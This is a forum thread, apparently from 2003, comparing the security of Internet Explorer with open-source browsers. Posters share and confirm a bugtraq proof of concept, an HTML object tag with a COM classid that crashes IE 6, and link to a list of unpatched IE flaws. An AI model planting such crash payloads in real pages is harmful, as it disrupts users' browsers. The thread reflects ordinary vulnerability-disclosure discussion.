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Also it updates less frequently then OpenSource browsers like Mozilla and Konqueror..Quote:
Originally posted here by MsMittens
As for browser security, I don't think one is more secure over the other. But I think IE gets "abused" more and more "falls out" in so far as bugs and such.
And since IE has a *cough*monopoly*cough* on the browser market, other browsers like Opera etc. do more to "prove" their worth..
And YES the code works..
hey, some one on bugtraq just posted an example...
http://www.sztolnia.pl/hack/TrivialI...alIECrash.html
proof of concept?
just tested it...
Code:<object
id=crash
classid="clsid:00022613-0000-0000-C000-000000000046"
width=1
height=1
>
</object>
The fact the Galeon running on linux, and Mozilla, even the Window$ version, have their own built in pop-up window stoppers is enough reason for me to use these browsers exclusively. I also believe these browsers are more secure.
I just verified this.
Using Win2K and IE 6 all available updates.
Right before the actual crash IE will take all CPU time.
Then it crashes asking to send a bug report.
If you are looking for more IE exploits pivx holds a list
It can be found:
http://www.pivx.com/larholm/unpatched/
there.
.Quote:
10 April 2003: There are currently 13 unpatched vulnerabilities
Cheers